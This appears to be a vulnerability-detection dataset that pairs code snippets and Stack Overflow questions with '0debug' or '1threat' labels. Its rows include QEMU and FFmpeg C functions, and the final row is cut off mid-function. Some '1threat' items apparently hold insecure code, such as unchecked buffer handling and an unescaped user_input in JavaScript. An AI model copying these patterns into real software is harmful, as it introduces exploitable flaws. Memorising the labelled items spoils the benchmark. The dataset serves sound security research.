problem
stringlengths
26
131k
labels
class label
2 classes
def sort_by_dnf(arr, n): low=0 mid=0 high=n-1 while mid <= high: if arr[mid] == 0: arr[low], arr[mid] = arr[mid], arr[low] low = low + 1 mid = mid + 1 elif arr[mid] == 1: mid = mid + 1 else: arr[mid], arr[high] = arr[high], arr[mid] high = high - 1 return arr
0debug
alert('Hello ' + user_input);
1threat
static void dump_ops(const uint16_t *opc_buf) { const uint16_t *opc_ptr; int c; opc_ptr = opc_buf; for(;;) { c = *opc_ptr++; fprintf(logfile, "0x%04x: %s\n", opc_ptr - opc_buf - 1, op_str[c]); if (c == INDEX_op_end) break; } }
1threat
Writing a function called open_file(). The program will try to open a file. An error message should be shown if the file cannot be opened : I need to define a function called open_file(prompt_str): This function receives a string which is the message to diplay when prompting the user to enter a filename. The program will try to open a file. An error message should be shown if the file cannot be opened. This function will loop until it receives proper input and successfully opens the file. It returns a file pointer. fp = open(filename, "r ") for this hw assignment i was given the already defined variable "Option" OPTION = "\nMenu\ \n\t1: Display data by year\ \n\t2: Display data by country\ \n\t3: Display country codes\ \n\t4: Stop the Program\ \n\n\tEnter option number: " "Enter the filename to read: " "File not found! Try Again!" "Enter year: " "Year needs to be between 2009 and 2017. Try Again!" "Do you want to plot (yes/no)? " "Enter country code: " "Country code is not found! Try Again!" "\nCountry Code Reference" "Invalid option. Try Again!" "\nThanks for using this program!" import matplotlib.pyplot as plt import csv from operator import itemgetter MIN_YEAR = 2009 MAX_YEAR = 2017 def open_file(prompt_str): ''' WRITE DOCSTRING HERE!!! ''' filename = input(Option) #Do i use a if statment or try except or while to check whether file is able to be opened fp = open(filename, "r ", encoding = "utf-8 ")
0debug
static inline int get_lowest_part_list_y(H264Context *h, Picture *pic, int n, int height, int y_offset, int list) { int raw_my = h->mv_cache[list][scan8[n]][1]; int filter_height = (raw_my & 3) ? 2 : 0; int full_my = (raw_my >> 2) + y_offset; int top = full_my - filter_height; int bottom = full_my + filter_height + height; return FFMAX(abs(top), bottom); }
1threat
Covert to HH:MM in SQL : I would like to convert a date time format to hh:mm using sql server. eg:'2017-08-17 15:31:18.217' to get '15:31' If any one knows please help. Thanks in Advance
0debug
ram_addr_t get_current_ram_size(void) { MemoryDeviceInfoList *info_list = NULL; MemoryDeviceInfoList **prev = &info_list; MemoryDeviceInfoList *info; ram_addr_t size = ram_size; qmp_pc_dimm_device_list(qdev_get_machine(), &prev); for (info = info_list; info; info = info->next) { MemoryDeviceInfo *value = info->value; if (value) { switch (value->kind) { case MEMORY_DEVICE_INFO_KIND_DIMM: size += value->dimm->size; break; default: break; } } } qapi_free_MemoryDeviceInfoList(info_list); return size; }
1threat
How can I Install curl on Linux? : <p>I am new to networking. And I wanna install curl on my ubuntu 14.04 Help me with all the packages or any other services needed to install curl</p>
0debug
ionic error with license for [SDK patch applier V4] : <p>I get the following when I do:</p> <p><code>ionic build android</code></p> <blockquote> <p>Error: /Users/mike/code/ionic/getit/platforms/android/gradlew: Command failed with exit code 1 Error output: FAILURE: Build failed with an exception.</p> <ul> <li>What went wrong: A problem occurred configuring root project 'android'. <blockquote> <p>You have not accepted the license agreements of the following SDK components: [SDK Patch Applier v4, Google Repository]. Before building your project, you need to accept the license agreements and complete the installation of the missing components using the Android Studio SDK Manager. Alternatively, to learn how to transfer the license agreements from one workstation to another, go to <a href="http://d.android.com/r/studio-ui/export-licenses.html" rel="noreferrer">http://d.android.com/r/studio-ui/export-licenses.html</a></p> </blockquote></li> </ul> </blockquote> <p>I run the android SDK manager and do not see this package as an option, and I have SDK Tools, Platform Tools, and Build tools installed as well as the Android SDK.</p> <p>What am I missing?</p>
0debug
How to save HTML form data on local machine : <p>Have HTML form in that some user information is filled.want to save that information on local machine. How to do that?</p>
0debug
Getting a "Can't resolve all parameters" error when setting up a hybrid AngularJS / Angular app : <p>I want to upgrade my traditional Angular JS app and I have been following the documentation on angular.io to setup a <strong>hybrid</strong> app.</p> <p>Now my bootstrapping process in app.ts looks like:</p> <pre><code>import { platformBrowserDynamic } from '@angular/platform-browser-dynamic'; import { AppModule } from "./app.module"; platformBrowserDynamic().bootstrapModule(AppModule); </code></pre> <p>My new app.module.ts looks like:</p> <pre><code>import { NgModule } from '@angular/core'; import { BrowserModule } from '@angular/platform-browser'; import { UpgradeModule } from '@angular/upgrade/static'; @NgModule({ imports: [ BrowserModule, UpgradeModule ]}) export class AppModule { constructor(private upgrade: UpgradeModule) { } ngDoBootstrap() { this.upgrade.bootstrap(document.body, ['myApp'], { strictDi: true }); } } </code></pre> <p>However, when I run the application I get the following error:</p> <pre><code>compiler.es5.js:1503 Uncaught Error: Can't resolve all parameters for AppModule: (?). at syntaxError (compiler.es5.js:1503) at CompileMetadataResolver._getDependenciesMetadata (compiler.es5.js:14780) at CompileMetadataResolver._getTypeMetadata (compiler.es5.js:14648) at CompileMetadataResolver.getNgModuleMetadata (compiler.es5.js:14489) at JitCompiler._loadModules (compiler.es5.js:25561) at JitCompiler._compileModuleAndComponents (compiler.es5.js:25520) at JitCompiler.compileModuleAsync (compiler.es5.js:25482) at PlatformRef_._bootstrapModuleWithZone (core.es5.js:4786) at PlatformRef_.bootstrapModule (core.es5.js:4772) at Object.map../af (app.ts:487) </code></pre> <p>It seems to me that Angular is unable to find the UpgradeModule in order to resolve the dependencies in AppModule. </p> <p>My question is: Am I missing something from my bootstrap process in order to fix this?</p> <p>(Note: It may or may not be relevant but I am using webpack as my module loader.)</p>
0debug
How can I manually describe an example input for a java @RequestBody Map<String, String>? : <p>I am designing an api where one of the POST methods that takes a <code>Map&lt;String, String&gt;</code> of any key value pairs.</p> <pre><code>@RequestMapping(value = "/start", method = RequestMethod.POST) public void startProcess( @ApiParam(examples = @Example(value = { @ExampleProperty( mediaType="application/json", value = "{\"userId\":\"1234\",\"userName\":\"JoshJ\"}" ) })) @RequestBody(required = false) Map&lt;String, String&gt; fields) { // .. does stuff } </code></pre> <p>I would like to provide an example input for <code>fields</code> but I can't seem to get it to render in the swagger output. Is this not the correct way to use <code>@Example</code>?</p>
0debug
static int check_host_key_knownhosts(BDRVSSHState *s, const char *host, int port) { const char *home; char *knh_file = NULL; LIBSSH2_KNOWNHOSTS *knh = NULL; struct libssh2_knownhost *found; int ret, r; const char *hostkey; size_t len; int type; hostkey = libssh2_session_hostkey(s->session, &len, &type); if (!hostkey) { ret = -EINVAL; session_error_report(s, "failed to read remote host key"); goto out; } knh = libssh2_knownhost_init(s->session); if (!knh) { ret = -EINVAL; session_error_report(s, "failed to initialize known hosts support"); goto out; } home = getenv("HOME"); if (home) { knh_file = g_strdup_printf("%s/.ssh/known_hosts", home); } else { knh_file = g_strdup_printf("/root/.ssh/known_hosts"); } libssh2_knownhost_readfile(knh, knh_file, LIBSSH2_KNOWNHOST_FILE_OPENSSH); r = libssh2_knownhost_checkp(knh, host, port, hostkey, len, LIBSSH2_KNOWNHOST_TYPE_PLAIN| LIBSSH2_KNOWNHOST_KEYENC_RAW, &found); switch (r) { case LIBSSH2_KNOWNHOST_CHECK_MATCH: DPRINTF("host key OK: %s", found->key); break; case LIBSSH2_KNOWNHOST_CHECK_MISMATCH: ret = -EINVAL; session_error_report(s, "host key does not match the one in known_hosts (found key %s)", found->key); goto out; case LIBSSH2_KNOWNHOST_CHECK_NOTFOUND: ret = -EINVAL; session_error_report(s, "no host key was found in known_hosts"); goto out; case LIBSSH2_KNOWNHOST_CHECK_FAILURE: ret = -EINVAL; session_error_report(s, "failure matching the host key with known_hosts"); goto out; default: ret = -EINVAL; session_error_report(s, "unknown error matching the host key with known_hosts (%d)", r); goto out; } ret = 0; out: if (knh != NULL) { libssh2_knownhost_free(knh); } g_free(knh_file); return ret; }
1threat
static char *usb_get_fw_dev_path(DeviceState *qdev) { USBDevice *dev = DO_UPCAST(USBDevice, qdev, qdev); char *fw_path, *in; int pos = 0; long nr; fw_path = qemu_malloc(32 + strlen(dev->port->path) * 6); in = dev->port->path; while (true) { nr = strtol(in, &in, 10); if (in[0] == '.') { pos += sprintf(fw_path + pos, "hub@%ld/", nr); in++; } else { pos += sprintf(fw_path + pos, "%s@%ld", qdev_fw_name(qdev), nr); break; } } return fw_path; }
1threat
Laravel 5 PDOException Could Not Find Driver : <p>I have a problem using Laravel 5. When I run "php aritsan migrate", I got this error</p> <pre><code>************************************** * Application In Production! * ************************************** Do you really wish to run this command? [y/N] y [PDOException] could not find driver </code></pre> <p>I could run the application, but when database connection needed, I got this error</p> <pre><code>PDOException in Connector.php line 55: could not find driver in Connector.php line 55 at PDO-&gt;__construct('mysql:host=localhost;dbname=mydb', 'root', '', array('0', '2', '0', false, false)) in Connector.php line 55 at Connector-&gt;createConnection('mysql:host=localhost;dbname=mydb', array('driver' =&gt; 'mysql', 'host' =&gt; 'localhost', 'database' =&gt; 'mydb', 'username' =&gt; 'root', 'password' =&gt; '', 'charset' =&gt; 'utf8', 'collation' =&gt; 'utf8_unicode_ci', 'prefix' =&gt; '', 'strict' =&gt; false, 'name' =&gt; 'mysql'), array('0', '2', '0', false, false)) in MySqlConnector.php line 22 </code></pre> <p>How to fix it?</p>
0debug
static int sox_read_header(AVFormatContext *s) { AVIOContext *pb = s->pb; unsigned header_size, comment_size; double sample_rate, sample_rate_frac; AVStream *st; st = avformat_new_stream(s, NULL); if (!st) return AVERROR(ENOMEM); st->codecpar->codec_type = AVMEDIA_TYPE_AUDIO; if (avio_rl32(pb) == SOX_TAG) { st->codecpar->codec_id = AV_CODEC_ID_PCM_S32LE; header_size = avio_rl32(pb); avio_skip(pb, 8); sample_rate = av_int2double(avio_rl64(pb)); st->codecpar->channels = avio_rl32(pb); comment_size = avio_rl32(pb); } else { st->codecpar->codec_id = AV_CODEC_ID_PCM_S32BE; header_size = avio_rb32(pb); avio_skip(pb, 8); sample_rate = av_int2double(avio_rb64(pb)); st->codecpar->channels = avio_rb32(pb); comment_size = avio_rb32(pb); } if (comment_size > 0xFFFFFFFFU - SOX_FIXED_HDR - 4U) { av_log(s, AV_LOG_ERROR, "invalid comment size (%u)\n", comment_size); return AVERROR_INVALIDDATA; } if (sample_rate <= 0 || sample_rate > INT_MAX) { av_log(s, AV_LOG_ERROR, "invalid sample rate (%f)\n", sample_rate); return AVERROR_INVALIDDATA; } sample_rate_frac = sample_rate - floor(sample_rate); if (sample_rate_frac) av_log(s, AV_LOG_WARNING, "truncating fractional part of sample rate (%f)\n", sample_rate_frac); if ((header_size + 4) & 7 || header_size < SOX_FIXED_HDR + comment_size || st->codecpar->channels > 65535) { av_log(s, AV_LOG_ERROR, "invalid header\n"); return AVERROR_INVALIDDATA; } if (comment_size && comment_size < UINT_MAX) { char *comment = av_malloc(comment_size+1); if(!comment) return AVERROR(ENOMEM); if (avio_read(pb, comment, comment_size) != comment_size) { av_freep(&comment); return AVERROR(EIO); } comment[comment_size] = 0; av_dict_set(&s->metadata, "comment", comment, AV_DICT_DONT_STRDUP_VAL); } avio_skip(pb, header_size - SOX_FIXED_HDR - comment_size); st->codecpar->sample_rate = sample_rate; st->codecpar->bits_per_coded_sample = 32; st->codecpar->bit_rate = st->codecpar->sample_rate * st->codecpar->bits_per_coded_sample * st->codecpar->channels; st->codecpar->block_align = st->codecpar->bits_per_coded_sample * st->codecpar->channels / 8; avpriv_set_pts_info(st, 64, 1, st->codecpar->sample_rate); return 0; }
1threat
static void rtas_ibm_query_interrupt_source_number(PowerPCCPU *cpu, sPAPREnvironment *spapr, uint32_t token, uint32_t nargs, target_ulong args, uint32_t nret, target_ulong rets) { uint32_t config_addr = rtas_ld(args, 0); uint64_t buid = ((uint64_t)rtas_ld(args, 1) << 32) | rtas_ld(args, 2); unsigned int intr_src_num = -1, ioa_intr_num = rtas_ld(args, 3); sPAPRPHBState *phb = NULL; PCIDevice *pdev = NULL; spapr_pci_msi *msi; phb = find_phb(spapr, buid); if (phb) { pdev = find_dev(spapr, buid, config_addr); } if (!phb || !pdev) { rtas_st(rets, 0, RTAS_OUT_PARAM_ERROR); return; } msi = (spapr_pci_msi *) g_hash_table_lookup(phb->msi, &config_addr); if (!msi || !msi->first_irq || !msi->num || (ioa_intr_num >= msi->num)) { trace_spapr_pci_msi("Failed to return vector", config_addr); rtas_st(rets, 0, RTAS_OUT_HW_ERROR); return; } intr_src_num = msi->first_irq + ioa_intr_num; trace_spapr_pci_rtas_ibm_query_interrupt_source_number(ioa_intr_num, intr_src_num); rtas_st(rets, 0, RTAS_OUT_SUCCESS); rtas_st(rets, 1, intr_src_num); rtas_st(rets, 2, 1); }
1threat
C code to find "Cullen's number" : <p>Need to make a C code that asks of the user to input one number, and the code will check whether the number is a "Cullen's number" or not.</p> <p>A number is Cullen's number as long as you can calculate it by doing "2^n * n + 1".</p> <p>Examples of Cullen's numbers:</p> <pre><code>3=2^1 * 1 + 1 9=2^2 * 2 + 1 25=2^3 * 3 + 1 </code></pre> <p>Here's the code I was working on, any help?</p> <pre><code>#define _CRT_SECURE_NO_WARNINGS #include &lt;stdio.h&gt; int main(void) { int num, brojP, potency = 0, numRepeats = 0, endResult=0, isCullen; printf("Unesite broj"); scanf("%d", &amp;num); do { potency = potency + 1; // initializing "potency" and at the same time making it one number larger at each repeat of the loop do { brojP = 2*potency; numRepeats = numRepeats + 1; } while (numRepeats &lt; potency); // this entire loop is used for "2^n" part endResult = brojP * potency + 1; // calculate the "2^n * n + 1" numRepeats = 0; if (endResult == num) { isCullen = 1; break; } } while (endResult &lt; num); if (isCullen == 1) printf("Number inputted is Cullen's number\n"); else printf("Number inputted isn't Cullen't number\n"); return 0; } </code></pre>
0debug
static int vfio_base_device_init(VFIODevice *vbasedev) { VFIOGroup *group; VFIODevice *vbasedev_iter; char path[PATH_MAX], iommu_group_path[PATH_MAX], *group_name; ssize_t len; struct stat st; int groupid; int ret; if (!vbasedev->name || strchr(vbasedev->name, '/')) { return -EINVAL; } g_snprintf(path, sizeof(path), "/sys/bus/platform/devices/%s/", vbasedev->name); if (stat(path, &st) < 0) { error_report("vfio: error: no such host device: %s", path); return -errno; } g_strlcat(path, "iommu_group", sizeof(path)); len = readlink(path, iommu_group_path, sizeof(iommu_group_path)); if (len < 0 || len >= sizeof(iommu_group_path)) { error_report("vfio: error no iommu_group for device"); return len < 0 ? -errno : -ENAMETOOLONG; } iommu_group_path[len] = 0; group_name = basename(iommu_group_path); if (sscanf(group_name, "%d", &groupid) != 1) { error_report("vfio: error reading %s: %m", path); return -errno; } trace_vfio_platform_base_device_init(vbasedev->name, groupid); group = vfio_get_group(groupid, &address_space_memory); if (!group) { error_report("vfio: failed to get group %d", groupid); return -ENOENT; } g_snprintf(path, sizeof(path), "%s", vbasedev->name); QLIST_FOREACH(vbasedev_iter, &group->device_list, next) { if (strcmp(vbasedev_iter->name, vbasedev->name) == 0) { error_report("vfio: error: device %s is already attached", path); vfio_put_group(group); return -EBUSY; } } ret = vfio_get_device(group, path, vbasedev); if (ret) { error_report("vfio: failed to get device %s", path); vfio_put_group(group); return ret; } ret = vfio_populate_device(vbasedev); if (ret) { error_report("vfio: failed to populate device %s", path); vfio_put_group(group); } return ret; }
1threat
PHP syntax error, unexpected 'if' (T_IF) : <p>I want to make the text red if username == user_id but it gives me a syntax error, unexpected 'if' (T_IF). my code:</p> <pre><code>foreach ($dag as $taak) { echo '&lt;li' if($_SESSION['user_id'] == $taak['username']){ echo 'style="color:red"';}'&gt;'.$taak['taak_naam'].' - '.$taak['username'].'&lt;/li&gt;'; } </code></pre> <p>anyone any idea?</p>
0debug
void memory_region_unregister_iommu_notifier(MemoryRegion *mr, Notifier *n) { notifier_remove(n); if (mr->iommu_ops->notify_stopped && QLIST_EMPTY(&mr->iommu_notify.notifiers)) { mr->iommu_ops->notify_stopped(mr); } }
1threat
Passing data to another component : <p>I'm new in Angular I want to pass data from one to another component. I store that in array that is isn't bind with component.html i wonder that i use @Input property if is isn't bind or some other manner?</p>
0debug
Creating a text editor through jquery : <p>Well... Explanation is simple I want to create a text editor just like stackoverflow where you type and beneath the text is formatted and shown.</p> <p>Lets keep the thing simple</p> <p>This is a simple thing I tried. </p> <pre><code>`https://jsfiddle.net/dh4qpzzv/` </code></pre> <p>But it doesn't push the text to the span. </p>
0debug
static bool rtas_event_log_contains(uint32_t event_mask) { sPAPREventLogEntry *entry = NULL; if ((event_mask & EVENT_MASK_EPOW) == 0) { return false; } QTAILQ_FOREACH(entry, &spapr->pending_events, next) { if (entry->log_type == RTAS_LOG_TYPE_EPOW || entry->log_type == RTAS_LOG_TYPE_HOTPLUG) { return true; } } return false; }
1threat
static void check_itxfm(void) { LOCAL_ALIGNED_32(uint8_t, src, [32 * 32 * 2]); LOCAL_ALIGNED_32(uint8_t, dst, [32 * 32 * 2]); LOCAL_ALIGNED_32(uint8_t, dst0, [32 * 32 * 2]); LOCAL_ALIGNED_32(uint8_t, dst1, [32 * 32 * 2]); LOCAL_ALIGNED_32(int16_t, coef, [32 * 32 * 2]); LOCAL_ALIGNED_32(int16_t, subcoef0, [32 * 32 * 2]); LOCAL_ALIGNED_32(int16_t, subcoef1, [32 * 32 * 2]); declare_func_emms(AV_CPU_FLAG_MMX | AV_CPU_FLAG_MMXEXT, void, uint8_t *dst, ptrdiff_t stride, int16_t *block, int eob); VP9DSPContext dsp; int y, x, tx, txtp, bit_depth, sub; static const char *const txtp_types[N_TXFM_TYPES] = { [DCT_DCT] = "dct_dct", [DCT_ADST] = "adst_dct", [ADST_DCT] = "dct_adst", [ADST_ADST] = "adst_adst" }; for (bit_depth = 8; bit_depth <= 12; bit_depth += 2) { ff_vp9dsp_init(&dsp, bit_depth, 0); for (tx = TX_4X4; tx <= N_TXFM_SIZES ; tx++) { int sz = 4 << (tx & 3); int n_txtps = tx < TX_32X32 ? N_TXFM_TYPES : 1; for (txtp = 0; txtp < n_txtps; txtp++) { if (check_func(dsp.itxfm_add[tx][txtp], "vp9_inv_%s_%dx%d_add_%d", tx == 4 ? "wht_wht" : txtp_types[txtp], sz, sz, bit_depth)) { randomize_buffers(); ftx(coef, tx, txtp, sz, bit_depth); for (sub = (txtp == 0) ? 1 : 2; sub <= sz; sub <<= 1) { int eob; if (sub < sz) { eob = copy_subcoefs(subcoef0, coef, tx, txtp, sz, sub, bit_depth); } else { eob = sz * sz; memcpy(subcoef0, coef, sz * sz * SIZEOF_COEF); } memcpy(dst0, dst, sz * sz * SIZEOF_PIXEL); memcpy(dst1, dst, sz * sz * SIZEOF_PIXEL); memcpy(subcoef1, subcoef0, sz * sz * SIZEOF_COEF); call_ref(dst0, sz * SIZEOF_PIXEL, subcoef0, eob); call_new(dst1, sz * SIZEOF_PIXEL, subcoef1, eob); if (memcmp(dst0, dst1, sz * sz * SIZEOF_PIXEL) || !iszero(subcoef0, sz * sz * SIZEOF_COEF) || !iszero(subcoef1, sz * sz * SIZEOF_COEF)) fail(); } bench_new(dst, sz * SIZEOF_PIXEL, coef, sz * sz); } } } } report("itxfm"); }
1threat
Trim only trailing whitespace from end of string in Swift 3 : <p>Every example of trimming strings in Swift remove both leading and trailing whitespace, but how can <em>only trailing</em> whitespace be removed?</p> <p>For example, if I have a string:</p> <pre><code>" example " </code></pre> <p>How can I end up with:</p> <pre><code>" example" </code></pre> <p>Every solution I've found shows <code>trimmingCharacters(in: CharacterSet.whitespaces)</code>, but I want to retain the leading whitespace. </p> <p>RegEx is a possibility, or a range can be derived to determine index of characters to remove, but I can't seem to find an elegant solution for this.</p>
0debug
@EnableTransactionManagement in Spring Boot : <p>Is @EnableTransactionManagement required in Spring Boot? I did some research. Some folks say you don't need it, as Spring Boot has it already enabled, others say you do have to use it explicitly. So how is it?</p>
0debug
static int rocker_msix_init(Rocker *r) { PCIDevice *dev = PCI_DEVICE(r); int err; err = msix_init(dev, ROCKER_MSIX_VEC_COUNT(r->fp_ports), &r->msix_bar, ROCKER_PCI_MSIX_BAR_IDX, ROCKER_PCI_MSIX_TABLE_OFFSET, &r->msix_bar, ROCKER_PCI_MSIX_BAR_IDX, ROCKER_PCI_MSIX_PBA_OFFSET, 0); if (err) { return err; } err = rocker_msix_vectors_use(r, ROCKER_MSIX_VEC_COUNT(r->fp_ports)); if (err) { goto err_msix_vectors_use; } return 0; err_msix_vectors_use: msix_uninit(dev, &r->msix_bar, &r->msix_bar); return err; }
1threat
Swift - Pass multiple Strings over Bluetooth : <p>how can i pass multiple String (.text from Label) to another Device using CoreBluetooth? One String works but then it stops.</p> <p>Thanks</p>
0debug
Installing newest version of Rails 4 with Postgres - The PGconn, PGresult, and PGError constants are deprecated : <p>I'm not able to find this warning on Google so asking Stackowerflower's help.</p> <p>I want to install Rails 4.2.8 on fresh Centos 7 box. Postgres version is 9.2.18. Ruby version is 2.3.4.</p> <p>When Rails is installed I configure config/database.yml file as usual and pretty sure that database.yml file is ok to connect to DB successfully. Postgres is already running for other apps successfully and fresh role is created for this app.</p> <p>In the next step there is an actual issue:</p> <pre><code>[user@server dir]$ rake db:setup The PGconn, PGresult, and PGError constants are deprecated, and will be removed as of version 1.0. You should use PG::Connection, PG::Result, and PG::Error instead, respectively. Called from /home/user/.rbenv/versions/2.3.4/lib/ruby/gems/2.3.0/gems/activesupport-4.2.8/lib/active_support/dependencies.rb:240:in `load_dependency' /home/rent/apps/rent/db/schema.rb doesn't exist yet. Run `rake db:migrate` to create it, then try again. If you do not intend to use a database, you should instead alter /home/user/apps/rent/config/application.rb to limit the frameworks that will be loaded. [user@server dir]$ </code></pre> <p>Is this confirms that Rails successfully connected to Postgres? How to simply check it?</p> <p>If yes - how long will I be able to use similar Postgres versions with Rails 4.2.8?</p> <p>Interesting thing that I didn't get similar messages with very similar setup so I wanted to be sure that I will be able to use this setup well.</p> <p>Many Thanks</p>
0debug
static int get_ref_idx(AVFrame *frame) { FrameDecodeData *fdd; NVDECFrame *cf; if (!frame || !frame->private_ref) return -1; fdd = (FrameDecodeData*)frame->private_ref->data; cf = (NVDECFrame*)fdd->hwaccel_priv; return cf->idx; }
1threat
JavaScript Event Loop: Queue vs Message Queue vs Event Queue : <p>Reading through a lot of JavaScript Event Loop tutorials, I see different terms to identify the queue stores messages ready to be fetched by the Event Loop when the Call Stack is empty:</p> <ul> <li><strong>Queue</strong></li> <li><strong>Message Queue</strong></li> <li><strong>Event Queue</strong></li> </ul> <p>I can't find the canonical term to identify this.</p> <p>Even MDN seems to be confused on <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop" rel="noreferrer">the Event Loop page</a> as it calls it <em>Queue</em> first, then says <em>Message Queue</em> but in the tags I see <em>Event Queue</em>.</p> <p>Is this part of the Loop being defined somewhere in details, or it's simply an implementation detail with no "fixed" name?</p>
0debug
int opt_default(const char *opt, const char *arg){ int type; const AVOption *o= NULL; int opt_types[]={AV_OPT_FLAG_VIDEO_PARAM, AV_OPT_FLAG_AUDIO_PARAM, 0, AV_OPT_FLAG_SUBTITLE_PARAM, 0}; for(type=0; type<CODEC_TYPE_NB; type++){ const AVOption *o2 = av_find_opt(avctx_opts[0], opt, NULL, opt_types[type], opt_types[type]); if(o2) o = av_set_string2(avctx_opts[type], opt, arg, 1); } if(!o) o = av_set_string2(avformat_opts, opt, arg, 1); if(!o) o = av_set_string2(sws_opts, opt, arg, 1); if(!o){ if(opt[0] == 'a') o = av_set_string2(avctx_opts[CODEC_TYPE_AUDIO], opt+1, arg, 1); else if(opt[0] == 'v') o = av_set_string2(avctx_opts[CODEC_TYPE_VIDEO], opt+1, arg, 1); else if(opt[0] == 's') o = av_set_string2(avctx_opts[CODEC_TYPE_SUBTITLE], opt+1, arg, 1); } if(!o) return -1; opt_names= av_realloc(opt_names, sizeof(void*)*(opt_name_count+1)); opt_names[opt_name_count++]= o->name; if(avctx_opts[0]->debug || avformat_opts->debug) av_log_set_level(AV_LOG_DEBUG); return 0; }
1threat
CMake and Code Signing in XCode 8 for iOS projects : <p>CMake was able to configure automatic code signing for XCode &lt;=7 and iOS projects with a target property setting like </p> <pre><code>set_target_properties(app PROPERTIES XCODE_ATTRIBUTE_CODE_SIGN_IDENTITY "PROPER IDENTIFIER") </code></pre> <p>XCode 8 changed the signing process. It now is required that the option "Automatically manage signing" in the project settings "General tab -> Signing" is checked. If I check this options manually for a cmake generated project, signing works well. But I did not find a way to enable this option from cmake project by default. Can this be done for cmake (>=3.7.0)?</p>
0debug
how to convert Byte[] to byte[] : <p>I have a problem: I use byte[] to store data, but I have to connect several byte[] togather, I know Arrays.addAll(Arrays.asList(Byte[])) will do the thing, but how to convert byte[] to Byte[], and how to revert Byte[] to byte[]?</p>
0debug
Getting a Cloud Firestore document reference from a documentSnapshot : <h1>The issue</h1> <p>I'm trying to retrieve the document reference from a query. My code returns <code>undefined</code>. I can get the path by extracting various parts of <code>documentSnapshot.ref</code>, but this isn't straightforward.</p> <p>What I'd like to return is a reference which I can then later use to <code>.update</code> the document, without having to specify the collection and use <code>documentSnapshot.id</code></p> <p>The documentation for the <code>path</code> property is <a href="https://cloud.google.com/nodejs/docs/reference/firestore/0.11.x/DocumentReference#path" rel="noreferrer">here</a></p> <h1>My code</h1> <pre><code>const db = admin.firestore(); return db.collection('myCollection').get().then(querySnapshot =&gt; { querySnapshot.forEach(documentSnapshot =&gt; { console.log(`documentReference.id = ${documentSnapshot.id}`); console.log(`documentReference.path = ${documentSnapshot.path}`); // console.log(`documentReference.ref = ${JSON.stringify(documentSnapshot.ref)}`); }); }); </code></pre> <h1>Output</h1> <pre><code>documentReference.id = Jez7R1GAHiR9nbjS3CQ6 documentReference.path = undefined documentReference.id = skMmxxUIFXPyVa7Ic7Yp documentReference.path = undefined </code></pre>
0debug
static void dump_json_image_info_list(ImageInfoList *list) { QString *str; QmpOutputVisitor *ov = qmp_output_visitor_new(); QObject *obj; visit_type_ImageInfoList(qmp_output_get_visitor(ov), NULL, &list, &error_abort); obj = qmp_output_get_qobject(ov); str = qobject_to_json_pretty(obj); assert(str != NULL); printf("%s\n", qstring_get_str(str)); qobject_decref(obj); qmp_output_visitor_cleanup(ov); QDECREF(str); }
1threat
How to extract all strings between two special characters using regex : I need to get the strings from each of the 16 sections below #0<Every word comes here>#1<...>#2<...>#3<...>#4<...>#5<...>#6<...>#7<...>#8<...>#9<...>#A<...>#B<...>#C<...>#D<...>#E<...>#F<...>
0debug
static void test_qemu_strtoull_empty(void) { const char *str = ""; char f = 'X'; const char *endptr = &f; uint64_t res = 999; int err; err = qemu_strtoull(str, &endptr, 0, &res); g_assert_cmpint(err, ==, 0); g_assert_cmpint(res, ==, 0); g_assert(endptr == str); }
1threat
static int rv10_decode_frame(AVCodecContext *avctx, void *data, int *data_size, UINT8 *buf, int buf_size) { MpegEncContext *s = avctx->priv_data; int i, mb_count, mb_pos, left; DCTELEM block[6][64]; AVPicture *pict = data; #ifdef DEBUG printf("*****frame %d size=%d\n", avctx->frame_number, buf_size); #endif if (buf_size == 0) { *data_size = 0; return 0; } init_get_bits(&s->gb, buf, buf_size); mb_count = rv10_decode_picture_header(s); if (mb_count < 0) { #ifdef DEBUG printf("HEADER ERROR\n"); #endif return -1; } if (s->mb_x >= s->mb_width || s->mb_y >= s->mb_height) { #ifdef DEBUG printf("POS ERROR %d %d\n", s->mb_x, s->mb_y); #endif return -1; } mb_pos = s->mb_y * s->mb_width + s->mb_x; left = s->mb_width * s->mb_height - mb_pos; if (mb_count > left) { #ifdef DEBUG printf("COUNT ERROR\n"); #endif return -1; } if (s->mb_x == 0 && s->mb_y == 0) { MPV_frame_start(s, avctx); } #ifdef DEBUG printf("qscale=%d\n", s->qscale); #endif s->y_dc_scale = 8; s->c_dc_scale = 8; s->rv10_first_dc_coded[0] = 0; s->rv10_first_dc_coded[1] = 0; s->rv10_first_dc_coded[2] = 0; s->block_wrap[0]= s->block_wrap[1]= s->block_wrap[2]= s->block_wrap[3]= s->mb_width*2 + 2; s->block_wrap[4]= s->block_wrap[5]= s->mb_width + 2; s->block_index[0]= s->block_wrap[0]*(s->mb_y*2 + 1) - 1 + s->mb_x*2; s->block_index[1]= s->block_wrap[0]*(s->mb_y*2 + 1) + s->mb_x*2; s->block_index[2]= s->block_wrap[0]*(s->mb_y*2 + 2) - 1 + s->mb_x*2; s->block_index[3]= s->block_wrap[0]*(s->mb_y*2 + 2) + s->mb_x*2; s->block_index[4]= s->block_wrap[4]*(s->mb_y + 1) + s->block_wrap[0]*(s->mb_height*2 + 2) + s->mb_x; s->block_index[5]= s->block_wrap[4]*(s->mb_y + 1 + s->mb_height + 2) + s->block_wrap[0]*(s->mb_height*2 + 2) + s->mb_x; for(i=0;i<mb_count;i++) { s->block_index[0]+=2; s->block_index[1]+=2; s->block_index[2]+=2; s->block_index[3]+=2; s->block_index[4]++; s->block_index[5]++; #ifdef DEBUG printf("**mb x=%d y=%d\n", s->mb_x, s->mb_y); #endif memset(block, 0, sizeof(block)); s->mv_dir = MV_DIR_FORWARD; s->mv_type = MV_TYPE_16X16; if (h263_decode_mb(s, block) < 0) { #ifdef DEBUG printf("ERROR\n"); #endif return -1; } MPV_decode_mb(s, block); if (++s->mb_x == s->mb_width) { s->mb_x = 0; s->mb_y++; s->block_index[0]= s->block_wrap[0]*(s->mb_y*2 + 1) - 1; s->block_index[1]= s->block_wrap[0]*(s->mb_y*2 + 1); s->block_index[2]= s->block_wrap[0]*(s->mb_y*2 + 2) - 1; s->block_index[3]= s->block_wrap[0]*(s->mb_y*2 + 2); s->block_index[4]= s->block_wrap[4]*(s->mb_y + 1) + s->block_wrap[0]*(s->mb_height*2 + 2); s->block_index[5]= s->block_wrap[4]*(s->mb_y + 1 + s->mb_height + 2) + s->block_wrap[0]*(s->mb_height*2 + 2); } } if (s->mb_x == 0 && s->mb_y == s->mb_height) { MPV_frame_end(s); pict->data[0] = s->current_picture[0]; pict->data[1] = s->current_picture[1]; pict->data[2] = 